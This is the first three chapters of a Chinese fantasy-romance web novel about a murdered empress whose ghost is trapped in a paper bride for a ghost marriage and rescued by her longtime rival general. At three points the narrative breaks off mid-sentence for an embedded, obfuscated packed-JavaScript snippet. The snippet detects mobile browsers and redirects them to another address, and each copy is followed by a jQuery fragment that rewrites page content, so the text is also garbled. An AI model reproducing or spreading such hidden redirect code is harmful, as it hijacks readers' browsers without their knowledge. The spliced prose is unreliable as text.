《死后宿敌给我烧香十年》 1. 喜丧 “他送来一枝春山桃,是何意?” 大魏皇后沈今鸾支颐在雕花窗棂前,素手拈着一枝桃花,自言自语。 春山桃是开在故乡北疆的野桃,她幼时最爱簪在鬓边,在京都并不常见。 北疆距京一千五百里之遥,这一枝春山桃快马加鞭送至宫内,已开近荼蘼,轻轻一触,花瓣就簌簌掉落。 那个人,大费周章,从北疆给她送来如此难得却无用的桃花,究竟是想要做什么? 她久病恹恹,看花看得出神,不自觉咳了几声。贴身侍女琴思为她披上一件毛边凤氅,回道: “送花来的人带了顾将军一句话,他说……” 话到这里就断了。 殿前沾灰的琉璃宫灯在风里打了个旋,冷寂的永乐宫里突然响起了细碎的脚步声。 琴思敏锐地收了声。 数月前,主子在宫中行厌胜之术,惹得龙颜大怒,帝后大吵一架。皇帝一怒之下收走她的凤印,从前服侍她的亲信宫人全不见了。 自此,往日奢靡热闹的永乐宫门庭冷落,鲜有人踏足。 宫中处处皆是杀机。琴思谨言慎行,日夜提防有人趁帝后失和,皇后卧病,要对主子不利。 “嘎吱”一声,宫门被推开。 是每日送药的小宫女,端着一碗黑漆漆的汤药进来。 太医院的人是后党旧识,一向信得过。这几日饮药调理,身子已恢复了不少,沈今鸾闭着眼,将汤药一饮而尽。 今日这碗药,真是格外的苦。她眉头都没皱一下,用绢帕点了点唇角,只想着,待病好了,她还要再掌凤印,重振她沈氏一族。 “咣当——” 汤碗从手中滑落,摔在皇后的金丝革履边上,碎瓷四散。 霎时,沈今鸾面白如纸,趔趄一步,手捂住胸口,压得襟口鸾凤绣纹皱成一团。 琴思大惊失色,疾步过来,伸手将她扶住: “娘娘……这药、这药有毒?!” 沈今鸾颓然地倒了下去,视线渐渐模糊不清,最后失焦在那一枝散落的春山桃。 恍惚之间,春山桃的花瓣微微颤动,仿佛正被一只修长有力的手紧紧攥着。 沿着花枝,她眸光上移,隐约看到那一张冷若冰霜的面庞。 男人立在漫天大雪之中,身后万里群岚无限岑寂,身前甲胄覆满白霜,也在凝眸回望着她,居高临下,如在冷笑,如在嘲讽。 沈今鸾这才明白,这个人送来这一枝春山桃的意味。 他虽远在北疆,一得知她失了势,便迫不及待要取她性命来了。这一枝春山桃,就是他毒杀她前献上的祭品。 “顾昔潮,你竟敢……” 喉头涌上的鲜血令她再难发声,一想起那个人,心口疼得汗湿鬓发。 柱国大将军顾昔潮,是她少时相识的世家公子,也是与她势同水火的一生宿敌。 十岁那年,沈今鸾身负家族振兴之命,从北疆来到京都,结识了出身陇山顾氏世家的顾昔潮。 沈氏祖辈出身北疆草莽,并非门阀世家。作为不入流的军户孤女,她入京之初,不受人待见,受尽奚落。 唯独顾昔潮与她交好,为她出头,在彼此最狼狈之时出手互助。 在一年又一年的暗讽嘲笑声中,她仰人鼻息,谨小慎微,好不容易在京都攒下名声,站稳了脚跟,北疆却传来父兄战死的噩耗。 她的阿爹、大哥还有二哥,沈氏一门三将,是被围困多日,却遭同行的世家大军背弃,久久不得驰援,最终力竭战死,连一寸尸骨都没带回来。 于是,她从此恨毒了京都世家,恨毒了顾氏,也一并恨透了顾昔潮。 父兄战死,沈氏凋敝,她没有根基,亦无退路。于是,她抛却了入京以来一直苦苦维系的名声,费尽心机,不择手段,在谩骂声中一步一步爬上了皇后之位。 心中唯有一念,一一清算当年对北疆军见死不救的世家,为父兄报仇。 在她生前,她的后党和世家针锋相对,明争暗斗。她与世家之首,顾家家主顾昔潮,更是斗得你死我活。 她陷害他最忠心的家臣,他诱杀她最得力的心腹;她利用朝局削他兵权,他送人入宫夺她后位;她迫他饮鸩酒,他给她送毒药…… 斗了数年,终于让她等来一个千载难逢的机会。 她亲自设下一道毒计,最终使得顾昔潮身败名裂,被迫离开京都,自此了无音讯。 她顾念旧情,留他一命,只将他流放,而他手眼通天,竟还能反扑回来,趁她久病,对她痛下杀手。 尖利指甲刺破了掌心的皮肉,沈今鸾恨得银牙咬碎。 因她在后位上连年操劳,身体亏空,加之多年来苦寻父兄尸骨不得,她心力交瘁,郁结于心,才落下病根,让仇敌钻了空子。 成王败寇,她无话可说,此生不负家国,唯一憾事,便是未能寻得父兄遗骨,入土为安,实在愧为人女。 弥留之际,沈今鸾深埋在暗无天日的帐幔里,盯着帐上的金丝凤纹,目光空荡,意识混沌。 她恍若又回到了大雪纷飞的北疆,看见了死去的父兄。 那是她幼时的除夕,一家人守岁,兄妹三人在雪地放爆竹玩。 大哥老成,只背着手在一旁看。她胆小,阿爹的大手捂住她的双耳,将她护在身侧。 二哥会雄赳赳气昂昂地举着长杆头,里头放满白纸草屑,点燃火引子,爆竹噼里啪啦,长长的火星子乱窜。 末了她会扯着二哥袖口,要他把岁钱给她买糖吃。 那时她二哥也不过比她高一个头,数着掌心的铜钱,为难地道: “不能都给你,我还要存着将来给媳妇呢!” 见她瘪了小嘴,二哥叹口气,最后还是分了她一半铜钱。 等她吃完糖,舔着指头上的黏丝,信誓旦旦地道: “我将来的钱,都给二哥娶媳妇!” 满堂哄堂大笑,院外爆竹齐响,震得满枝的积雪哗啦啦往下掉。 二哥故意把雪泼到她的新衣上,笑呵呵地被她追着打。 可一眨眼,她手里的铜钱化作白花花的纸钱,二哥满眼笑意的脸庞变得血肉模糊,只剩森森白骨,轻轻一触便化作雾气消散了。再回首,大哥阿爹也都不见了。 她尖叫着扑进雪地里疯找,徒手刨地,却始终连一寸尸骨都寻不见。 她找啊找,十指抠得满是鲜血,指尖所能触碰到的,只是一块坚硬的棺板。 紧紧闭阖的棺板,遮天蔽日,再无声息。 …… 四面久久地陷入一片沉黑,她指甲破裂滴血的双手无望地挣扎。 棺椁里的光阴无声流转,转瞬而过。不知今夕何夕,她垂落的手突然摸到了一张纸。 纸面稍一拂动,竟有一丝暗光透了进来。 沈今鸾借着这一丝微光,抬头望去。 是一张血色的窗纸,映着一道黢黑的影子,如量尺一般端正而僵直。 正是她自己。 她想看清楚些,眼帘间被大片的赤红溢满,一簇一簇的流苏垂落下来,阻隔了她的视线。 沈今鸾伸出手去,想要揭开碍眼的红布,透明的手径直穿过了红布,什么都摸不到,只能看到自己惨白的魂魄。 死寂之中,忽有一声尖细又沉闷的唢呐吹奏,刺破了夜空。 这一声,沈今鸾全然惊醒了,魂魄不受控制地摇摇晃晃,发现自己身处一座行进的花轿之中,咯吱咯吱直响。 再低头一瞧,她的身子竟是一个纸扎的女人。 纸人的骨架由木条搭就,鬓边一绺一绺的黑发以浓墨草草勾画,双目是镂空的黑洞,没有眼珠子,透薄白纸做的头颅,面颊两坨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14280947|151829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胭脂,红得要滴血。 身上粗制滥造的红衣描着龙凤呈祥的图样,拥着一个猩红刺目的“囍”字。若再看,又像是一个“奠”字。 这纸人,分明是一个待嫁的新娘。 “大吉大利,恩恩爱爱,孝敬公婆,早生贵子……” 轿子的斜后方,跟着一名喜婆,步子颤颤巍巍,涂了红脂的嘴只僵笑,挤出几句古怪的话。 “你是何人?”她端起皇后的架子,朝那人怒喝。 无人回应。 毕竟都做鬼了,哪个活人能看得见她?更不可能,听得到她的声音。 掠过喜婆,她望向不远处,只见一面面缠着红绸的白幡,在寒风中飘飘荡荡。 底下的几道人影一身素白麻衣,提着一盏漏了风的白灯笼,呜呜咽咽在哭,后头抬着硕大四方的棺材,盖了一层厚厚的白布,棺头堆满了小山似的纸叠金元宝。 漫天白花花的一片,是纸钱在大雪里纷飞。 饶是作为死了很久的鬼魂,沈今鸾反应过来,登时脊背发凉,生出一股恶寒。 谁能想到生前母仪天下的皇后娘娘,死后不仅往不了生,一缕孤魂竟被强行配了一场阴婚! 沈今鸾又惊又气,魂魄在纸人里乱窜,可周身贴满了油黄的符纸,魂魄就像被捆缚一般,无法挣脱。 阴风大作,纸钱乱舞。许是感受到她升腾的怨气,窗外传来那喜婆细小如蚊蝇的声音: “我们卜算过了,你的父母兄弟早就死绝了,无人祭拜,没有坟头。” “你虽嫁过人,可你的丈夫,不允你葬入他家的祖坟,连一块牌位都没有给你留。” 喜婆的语调因恐惧而哆嗦,可说出来的每个字就像是细细密密的针,针针刺人。 沈今鸾听了,大骂狗皇帝元泓无耻之尤。 当初她苦寻父兄遗骨不得,便孤注一掷,以厌胜之术问灵,想要探得尸骨下落。被元泓得知,不仅将她幽禁,死后竟不让她以后礼下葬,不入大魏的皇陵。 没想到,少年夫妻,他却厌恶她至此,人都死了,一点体面也都不留给她。 她死后,魂魄长久地困在幽暗逼仄的棺椁中,无法逃脱,无法往生。再醒来时,已被困在这座喜轿之中。 “你啊,就是一孤魂野鬼,没人会惦记你!你老老实实嫁了鬼相公,别费劲了。” 喜丧的队伍吹奏唢呐,敲响大锣,一声一声,缥缈又强劲,像极了铆钉敲打入棺一下一下的撞击声,誓要将她活埋在这轿中。 轿外的雪越下越大。 四野空寂,杳无人迹,忽有一阵马蹄声疾行而来,惊破幽咽的阴风。 马蹄急促,大地随之震颤,沈今鸾一个激灵,轿子忽地重重一沉,陷进了雪地里。 “快逃啊,鬼相公来了!——” 一声惊呼之后,四周的人被来者所震慑,全都吓得落荒而逃,不见踪迹。 荒山野林,红白撞煞,喜轿和棺椁被弃置在旁,红绸和白幡不再飘荡,半空中挥洒的纸钱也全落了下来,静止在雪地上。 天地之间,忽然安静下来。 唯有来者的脚步声,沉定有力,行至她的大红喜轿前停下立定,止步不前。 难不成,真是那位和她结阴婚的鬼相公来了? 她倒想看看,是谁如此大胆,敢娶大魏皇后的鬼魂。 沈今鸾端坐不动,正要透过喜帕的缝隙看出去,一阵凌厉的风陡然涌入轿中。 一柄尚在淌血的刀尖已探入轿中,率先挑开了她的喜帕。 喜帕徐徐落地。沈今鸾掀起眼皮,目光一寸一寸抬至来人面上,刹那间心头闪过惊雷,如同见了鬼。 那碗毒药所带来的痛楚再一次穿肠而过,流入四肢百骸。 她没想到,来娶她魂魄的新郎,竟是毒杀她的仇人,此生的宿敌,顾昔潮。 2. 故人 天地清寂,唯有落雪纷纷而下。 一帘之隔,一个在喜轿内,一个在轿门外,一道怔住了。 望见他的面容,沈今鸾一下子攥紧了手,揪得身下那层纸皮连连发皱。 没想到,阴差阳错,她魂归故里,回到了北疆。她更没想到,这偌大天地,她死后见到的第一个故人,偏偏是顾昔潮。 沈今鸾想起临死前那碗可疑的汤药,穿肠而过,死前的痛意几近要将她的魂魄撕裂。 她为后以来,虽然树敌无数,可真正恨她入骨,会不惜一切毒杀她的,除了顾昔潮,还会有谁? 沈今鸾气得浑身发抖,可魂魄一动,纸人摇晃一下,竟如倒栽洋葱一般向前倾去,一头扑向了男人,瘫倒在他怀里。 沈今鸾:…… 咫尺之距,只能感受到他温热的鼻息,略显急促的呼吸,甚至看到他浓长的睫毛,若有若无地颤了颤。 鬼使神差地,她朝他伸出了双手,透明的指尖拂过男人的喉结,仿佛能感受到那一处颈脉剧烈的跳动。 纤细惨白的十指停在了他凸起的青筋处,骤然扼住,收紧,再收紧。 真想掐死他啊。 可惜,眼前的男人纹丝不动,不见异样,她虚无的手不过是生生穿过了他的咽喉,无法造成一丝一毫的伤害。 顾昔潮只是静静立于风雪之中,一袭幽黑的氅衣在雪中翻涌如潮,浓如墨色,犹如从无尽的深渊中来,半点光亮也没有。 唯独那一寸暗燃的眸光,似能穿云破雾,好像在凝视轿中普普通通的纸人。 又好像,能透过纸人空洞的双目,直直望见了她的魂魄。 只这一眼,就足够令沈今鸾警钟大鸣,无比忌惮。 她若无其事地收回了手,心头不禁后怕,顾昔潮与她向来积怨已久,仇深似海,若他发现了她,会不会还想再找她报仇雪恨? 短短数息之间,这一个念头足以让沈今鸾心惊肉跳,而身下的纸人却分毫动不了,斜倚在男人胸口,简直比当初困在棺中还要煎熬。 直到那柄横亘喜轿的雁翎刀收走,顾昔潮忽然背转身去,不见了。 一道阴恻恻的疾风从身后而来。 沈今鸾回首一看,双目大睁。竟没发觉喜轿旁那棺材板不知何时被掀开了。 只见四周突然窜出几团黢黑的人影,手持利刃,直直朝喜轿横冲而来。 这身纸人皮薄骨脆,一触即散架,眼看就要遭殃了。纸人里的沈今鸾进退不得,闭眼的刹那,一道寒光霍然飞至。 顾昔潮身动如影,已疾步朝黑影而去,步履踏过,雪花飞溅。 他长刀一挑,破开包围过来的黑影,竟使得无一人近得了喜轿一步。利刃寒光所过之处,血沫横飞,黑影闷声倒地。 收手的那一刺,他的刀尖瞬间贯穿最后那一人的咽喉,脖颈在刀刃间“卡擦”一声断裂。 鲜血喷洒半空,如骤雨泼墨,洒满青白雪地。那人的头颅歪斜一边,状若厉鬼,口中最后一丝气息尚在喃喃: “今日不是你死,就是我亡……” 声息未绝之时,那无头的身躯在夜风里摇晃一下,栽到进雪地里,血流无声地漫过积雪,蜿蜒而去。 远处又一阵马蹄声传来,这一次更为疾猛,来者至少有数十人。 雪夜昏沉的天色下,只见一大批着甲的军马,马上之人身披斗篷,背负长弓,腰系长刀,奔驰而至,席卷积雪如涌浪。 这些人马还未停稳便翻身下马,迅速踏雪来到男人面前,屈膝半跪行礼,道: “将军,属下来迟了。” 他们迅速将地上横七竖八倒地的黑衣刺客包围起来,强按在雪地上。 雪地上的刺客生死逃奔,披头散发,望见被男人一刀毙命的那名同伴,眼里的万分惊恐渐渐转为了怨毒和愤恨。其中一人大吼道: “十年来,我们东躲西藏,隐姓埋名,过得像鬼一样。你为何要对我们赶尽杀绝?” 男人从死人胸口拔出他的雁翎刀,抵在雪地上,划开一道长长的血口子,一步步走向那群刺客。 甲兵闻声分开两侧,迅速为他让开一条道来。 那一群黑衣刺客眼见地开始浑身颤抖,面色惨白如纸。当中有人朝着男人放声大骂: “九郎,你杀了我们多少人?!都十年了你还不肯放过我们!” “顾昔潮,你这欺师灭祖的东西,你不得好死!我恨不能生啖汝肉,就算做了鬼也不会放过你!……” “很好,有志气。”男人利落收刀入鞘,眼皮未抬一下,“赐全尸。” 他身后亲兵一得了令,训练有素地奔上前处置。 一片哭天抢地,回荡在空寂密林之中,渐渐地,悄然无声息。 “这群人竟躲过了我们的边防,想要逃到关外去,还敢刺杀将军……幸好被将军就地截杀……” 他的亲兵回来复命,惊道: “将军,您受伤了?” 沈今鸾抬眼,扫过男人大臂上的伤口。方才被刺客偷袭,那里的衣料裂开了一道口子,露出分明的肌腱,盘虬的青筋,淌出的乌血凝结成绛霜。 在军士的簇拥下,顾昔潮解去了护甲,赤着健壮大臂,抓了一把雪水,洗涤一身血气。 十余个刺客围攻顾昔潮,就算近了他的身,也不过只划了他一刀。大魏战神,并非虚名。 然,三十年河东,三十年河西,当年京都前呼后拥的顾大将军,在北疆连亲兵都不过寥寥几人,还沦落到单枪匹马,为人刺杀的境地,哪里还有当年叱咤风云的样子。 看着这般落魄的顾昔潮,沈今鸾心觉畅快无比,嘲讽的目光飘忽起来,不经意撞进了他暗沉沉的视线里。 顾昔潮似有所感,回眸朝喜轿看了一眼,很快用氅衣掩住了裸露的大臂,大步离去。 他扫视了一圈地上尸体后,散漫的眸光陡然泛起一丝戾色: “少了一人。” 语调轻浅,状若雷霆。所有人神色一变,整齐地跪下。 顾昔潮目光所及,压得所有人额头陷进雪里,不敢抬首。 密林之中,忽有一阵异动,光怪陆离的树枝在寒风中微微震动。 顾昔潮铁腕一动,悬于腰际的雁翎刀蓦地出鞘,向背后的枯树刺去。 那头传来一声惨叫。领头的大胡子军士立马带着手下在四处搜查一番,捉住密林中逃窜的几人扔到了顾昔潮面前: “将军,那人没找到……这些人全都抓来了。” 喜丧队伍里的轿夫,喜婆还有抬棺人,在雪地里蜷缩一处,瑟瑟发抖,怕得不敢吭声。 “别,别杀我们……” 一个道士模样的男子连滚带爬走了出来,掰正头顶被刀刺中的道帽,结结巴巴道: “在、在下蓟县赵羡,道号敬山道人。多有打扰贵人尊驾,对、对不住……” 大胡子军士指着那被破开的棺椁,厉声问道: “你等在此装神弄鬼,是在故意私藏逃犯?” “逃犯?我们没见着什么逃犯啊!”道士赵羡抖如筛糠,跪倒下来,道:“大人们有所不知,此地有鬼相公作怪,我们也是被逼无奈……” 一听到“鬼相公”的名号,有几名军士神色骤变,两两对视一眼。大胡子面上腾起厉色,刀柄一震,呵斥道: “什么鬼相公,还不从实招来?” 赵羡叹口气,继续道: “这事啊,还要从十多年前说起,我们县有人在崤山里头挖到了一具不成形的枯骨,就从此惊扰了那鬼相公。听说,他生前有一心上人,可还没娶亲,人就死在了崤山里头,未婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14280948|151829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妻还远嫁他人,因此他怨气极重。前几年还好,鬼相公只是偶尔作祟,县里只要供着些香火给他便可安然无事。” “可不知为何,就在十年前,鬼相公突然怨气大作,一连杀了很多人。有人被他害得失足跌落山崖摔死,有人夜半行路当街横死,还有人办喜事事,结果新娘杀了新郎……” “于是,宗族长老找上我,想给鬼相公操办阴婚,令他心愿得偿,便不再作恶。于是,县里每年都会找一女子的阴魄,与之配个阴婚,只为息事宁人……” “啪嗒”一声。 顾昔潮不言不语,竟生生拧断了掌中一截粗枝。 一提到今日阴婚之事,他的面容就变得犹为森冷。众军士察觉他微妙的变化,大气不敢出。 赵羡说完旧事,低头抹一把汗,蓦然看到满地尸首血迹,顿时吓得跌坐在地。他浑身发起了抖,指着半空,大叫道: “见血了……怎么见血了?鬼相公的红白喜丧怎么能见血啊?” “这、这毁了鬼相公的亲事,鬼相公发怒了,要来找我们报仇的啊!” 寒风呼号,大雪纷纷扬扬,他凄切的回音在空荡荡的密林里,显得犹为渗人。 身处诡异的红白双幡之间,面前是空荡荡的喜轿和棺椁,军士们反复握了握手中长刀,凝重的神色中流露出几分惊惧之色。 “这道士不怀好意,顾大将军不严惩么?” 半空中传来一声轻笑。 大红喜轿停于皑皑白雪之中,里头的纸人新娘,形单影只,诡异又凄凉。 一直在看戏的沈今鸾眯了眯眼,随口道了一句。 在场军士自是无人听见,唯有顾昔潮微微颔首,示意亲卫: “此人私藏逃犯,带走审问。” 一众带刀甲兵一把抓着张羡的道袍领子,强行将人绑起来。 到底身居高位久了,沈今鸾冷笑一声,颐指气使地道: “这倒是僭越犯上,是大不敬,必要将他五马分尸才好!” 顾昔潮摇头道: “未及审讯,不可草菅人命。” 正在将道士五花大绑的甲兵听到他的命令,茫然抬头,又将那人脖颈上的绳结松开了一些,只绑了双手。 “你以为就这么完了啊?这冥婚没结束呢!”那道士面色骇人,虚虚指了指顾昔潮和他身后的亲兵,大叫道,“你、你们,快跑吧,鬼相公不会放过你们的!” 他又面朝着喜轿里的纸人,厉声道: “鬼相公定会再来找你的,你逃不掉了!” 生前为了复仇被迫嫁给元泓,死后成了孤魂野鬼还不得安生,不仅遇到顾昔潮这尊煞神,还被来路不明的鬼相公给盯上,配成阴婚。 纸人里的沈今鸾又惊又气,魂魄发抖,一抬眸,却撞见了一道黑沉沉的眸光。 那头的顾昔潮顺着赵羡的视线,也缓缓地望向了纸人,鸦黑睫毛下藏匿的目光,看似懒散轻浅,实则意味深长。 一种来自死敌的威胁感幽然而生,沈今鸾醒过神来,下意识就想跑,可魂魄太过虚弱,纸人一晃,又跌进了雪地里。 男人已提步朝喜轿走来,乌靿靴踏在雪地上,发出震荡心神的响声。 他一步一步行至卧倒的纸人跟前,停下脚步,忽然一撩袍裾,屈膝半跪下来,像极了昔日金銮殿前,他朝她行礼的姿态。 沈今鸾愣在了原地,看到他伸出手来,瘦长的手指骨茧凸出,拂过她透明的魂魄,一把环住了纸人的肩头。 接着,劲臂一收,竟单手将轻飘飘的纸人提起来,带离了喜轿,揽在了身侧。 沈今鸾还未反应过来,就被迫依偎上了男人劲瘦的腰侧。 冰冷的蹀躞革带硌得她纸皮发紧,但男人炙热的体温,却透过单薄的纸皮,一寸一寸渗入她封印的魂魄。 3. 灵位 沈今鸾生前好歹也是堂堂中宫皇后,困在这破纸人里不说,还被男人就这样提了起来,成何体统。 更何况,这人竟还是她此生最痛恨的顾昔潮。 宿敌相见,分外眼红,遑论还身体相触。她恼羞成怒,魂魄在纸人里肆意挣扎,张牙舞爪。 下一瞬,纸糊木造的喜轿轰然倒下,支架在雪地里崩开四散。方才打斗之时,喜轿已从中间断开,此时彻底破裂坍塌。 纸人被抱出喜轿,幸免于难,完好无损。 沈今鸾悄悄停止了挣扎,看过去,顾昔潮浓黑的眉眼被白霜映得冷淡疏离,微带嫌意。 喜轿所压过的雪地里,赫然出现几道被积雪掩盖的脚印。 顾昔潮的亲兵一见到那脚印,纷纷握紧了佩刀,大胡子军士面露惊色,问道: “将军,那罪人不会是已逃出关,往云州去了?” 男人沉默不语,眺望天际。 一听到“云州”二字,沈今鸾的神色霎时变了。 她追着他的目光望去,只见茫茫雪雾之下,灰暗天穹所笼罩之处,一座城池的轮廓若隐若现,气势磅礴。 那便是云州了。 永淳十九年,沈氏麾下的北疆军惨败,不仅三万英魂埋骨他乡,大魏还自此痛失边境重镇云州。 最疼爱她的阿爹,大哥和二哥,她所有的至亲至爱,全都战死在了云州。这么多年来,连一寸尸骨都未寻到。 若非当年世家故意不驰援北疆军,又怎会落到今日之局? 沈今鸾目露愤意,死死瞪着身旁的男人,像是要在他身上戳个窟窿。 如同能感应她的视线,顾昔潮向纸人扫过来一眼,苍色的下颚紧绷着,复又望向了云州的方向。 那眼神,幽深得宛若荒芜。又好似有火星子在荒芜里翻腾,燃烧。良久,他摩挲着刀柄,淡淡地道: “此地荒原百里,他徒步到不了云州。” 大胡子军士恍然大悟,一拍大腿,道: “将军英明!那人敢去云州,必冻死半途。他定是逃回蓟县去了,我们追!” 一行人快马加鞭,策马飞驰于荒原夜色,马蹄所踏,扬起千堆积雪。 蓟县地处边陲,附近多山,雪比其余地方更加深厚。马腿陷入积雪里再难前进,嘶鸣不已。狂风将众人的氅衣斗篷吹得翻卷。 顾昔潮一行人隐匿行踪,悄无声息地潜入蓟县,也不大张旗鼓开始搜捕那名逃犯,也不去军驿歇息,而是指明要去那道士家中。 赵羡这大宅子像是赵家祖传下来的,年久失修,半边都被积雪压塌了,房门上用一块破帘子遮了一半,还冷飕飕地漏风。 门前还悬着一盏破洞的白灯笼,未燃灯火,看起来阴森森的。 顾昔潮一身雪意,手提纸人,疾步踏入赵氏祖宅后,将人纸人放在了正堂中唯一一把缺了一角的太师椅上。 他的一众亲兵跟在他身后,见他那诡异的纸人,窃窃私语道: “将军为何不在蓟县继续搜寻那逃犯,反倒来管民间阴婚这等邪门事?一到这破地,我瘆得慌……” 大胡子军士听见了,劈头盖脸斥道: “你懂什么?那逃犯向来狡猾多诈,冒然出动只会打草惊蛇。鬼相公一事,时机太过巧合,必有蹊跷。将军来此,定有他的道理!” 众人连连点头称是。 赵羡被数柄刀抵着背,被迫撩开破布进门,哆嗦着燃起了一盏油灯。 室内亮堂起来,他再回头看,这块并不宽敞的地方已密密麻麻站满了巡视的军士,凶神恶煞,似是要将他的祖宅翻个底朝天。 赵羡叫苦不迭,忽闻一声: “敬,山,道,人?” 赵羡浑身一僵,双腿打颤停下脚步,硬生生被长绳拖拽了数丈,才看到太师椅上的纸人,歪斜着身,没有眼珠子的双目正笑盈盈地望着他: “我与你无冤无仇,为何要这般害我?” 赵羡吓得魂不附体,身体伏地,就差磕头了: “这位姑、姑娘,我当时一看你这孤魂野鬼,不日就会魂飞魄散的。这纸人可以将你的魂魄聚拢起来,封存在内可以暂时不消散……” “这么说,我还要谢谢你救魂之恩了?”沈今鸾掸了掸衣裾,冷笑道,“我是死了,又不是傻了。你分明就是要将我配给什么鬼相公吧。” 赵羡哭丧着脸,道: “我、我真是迫不得已。我救下你后不久,蓟县正缺女子魂魄给鬼相公作配,你这八字命格与鬼相公甚是相合,就想请你镇住他……” 沈今鸾自嘲一笑。她的八字是钦天监算的天生凤命,贵不可言,生来就是要做皇后的,结果就死在了后位上。 连死后,竟被这群刁民算计,拿去配了阴婚。 若是生前为皇后时,她非得将这道士就地大卸八块才好。可成为孤魂以来,漫长无边的孤寂,这个道士也是她能对话的第一个人。 她难得地收回了扼人咽喉的手,道: “那你告诉我,如何可以才这纸人中解封?” 她可不想一直被困在纸人里,还被顾昔潮擒在身边,实在晦气! 赵羡莫名喉咙发凉,喘不过气来,干咳几声: “姑娘万万不可,你这魂魄,一旦从纸人强行解封,势必要魂飞魄散,彻底消散于天地之间,再也入不了轮回了。” 沈今鸾一怔,垂眸道: “那你说说,为何就我不得轮回转生?” 赵羡思忖道: “魂魄不入轮回,必有执念。姑娘,你可是心愿未了?” 沈今鸾望向雪后阴沉的天际,若有所思。 她死前念念不忘的,唯有父兄的遗骨了。 做皇后以来,她派去北疆的人总是无功而返,多年一无所获,她只恨不能亲往。如今,她死后不得往生,而是回了北疆,当年她父兄战死之地。 冥冥之中,似有注定。 “不论你心愿为何,魂魄不散才是要紧!”赵羡掐了掐指头,自顾自地道,“人死后,若成孤魂,要以香火为食。要不是有人用香火一直吊着,你的魂魄早就散尽了。” 沈今鸾将信将疑地问道: “你是说,有人一直在用香火供养我?” 她生前犯了宫中大忌,触怒皇帝,死后不入皇陵,无坟安葬,夫家不给她容身之处,沈氏没了她一力扶持,想必是树倒猢狲散。 这天地间,她亲缘情缘散尽,竟然还会有人记得她,予她香火? 这个消息就像一颗微小的火种,在她凋敝的心间燃起,竟生出了一种温暖的感觉。 没缘由地,沈今鸾忽想起他挡在喜轿面前拔刀的背影,望着她时微颤的睫毛,更奇怪的是,她回想起来,他方才好似是在与她一问一答…… 她不由问道: “道士,你能看到我吗?” 赵羡回道: “我是看不到你的,但我祖上修行崂山道术,懂得一些通灵之法,只是能稍稍感应到你的存在。” “哦,那其他人能看到我么?” 赵羡摆摆手,言之凿凿: “凶煞的厉鬼偶有为人所见,你这样普通的鬼魂不行的。除非那人和你有什么万里挑一的机缘。不可能,绝无可能!” 沈今鸾轻舒出一口气。 不管这道士所言真假,她可不想去做鬼相公的鬼娘子,更不想被顾昔潮带在身边。 望着愁眉不展的赵羡,又看了看最前头那道高大背影,沈今鸾心头一动,对那呆头呆脑的赵羡说道: “这位顾大将军呢,向来杀人如麻,最喜将犯人五马分尸。你今次惹恼了他,怕是一会儿四肢头颅都要搬家了。” “这,这可如何是好?”赵羡怕得直抖。 “我有一计,可救你一命,但,有个条件。”沈今鸾血红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14280949|151829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的唇角微微勾起,“你宅中,定有不少我这样的纸人罢?” …… 赵羡听完这一救命之计,还在懵怔之中,不由向正堂望去。 那名顾将军,半张侧脸被烛火映得血红,另外半张却陷在冰冷的黑暗里,不声不响,十分骇人。 尤其是那柄腰际的刀,鲜血浸染,刺目惊心。 赵羡摸了摸自己尚完好的四肢和脖颈,犹豫片刻,眼一闭,心一横,壮着胆子步入正堂。 “将军是来追逃犯的,可我这里,除了嫁给鬼相公的死人,可什么都没有啊?……” 赵羡当着所有人的面,扒拉开一块破布,只见案上竟矗立着两排牌位,中间的香炉底下厚厚的余烬,看来是经常供着香火的。 每一个灵位后,都立着一个相同的纸人,如同被无形的绳结吊着,躯体僵直,笑容诡谲,烛火投下的巨大阴影,犹如浓郁的黑雾,包围着所有纸人。 赵羡稳了稳心神,上前,用破旧的袖口擦了擦其中一块牌位,轻声道: “这些女子,入不了夫家的祖坟,娘家亦不收留,因此既无坟地,也没香火,才会被配给鬼相公为妻。” “唉……虽然我虽是为族老们逼迫,但我总觉得对不住她们,给她们立了灵位,烧了香火,望她们能早日往生。” 夜风浩荡,灯影幢幢。 顾昔潮眸光微动,轻轻一瞥,只见方才他放在太师椅上的纸人已悄然不见了。 他虚了虚眼,幽沉的目光从一座一座的灵位,一个一个的纸人之间掠过去——甚至唇角还挑起一丝若有若无的冷笑。 灵位后面的沈今鸾看着他,亦无声地在笑。 要是她还活着,定然要将他抽筋扒皮才能泄恨。可她如今不过是一个一捻就碎的纸人,在顾昔潮面前不过是蝼蚁之力。 当下,她惹不起,难道还躲不起?她躲在众多纸人当中,正如木藏于林,他定无法分辨,再也发现不了今日喜轿中那个纸人。他定不会长居此处,如此,她便迟早可脱身了。 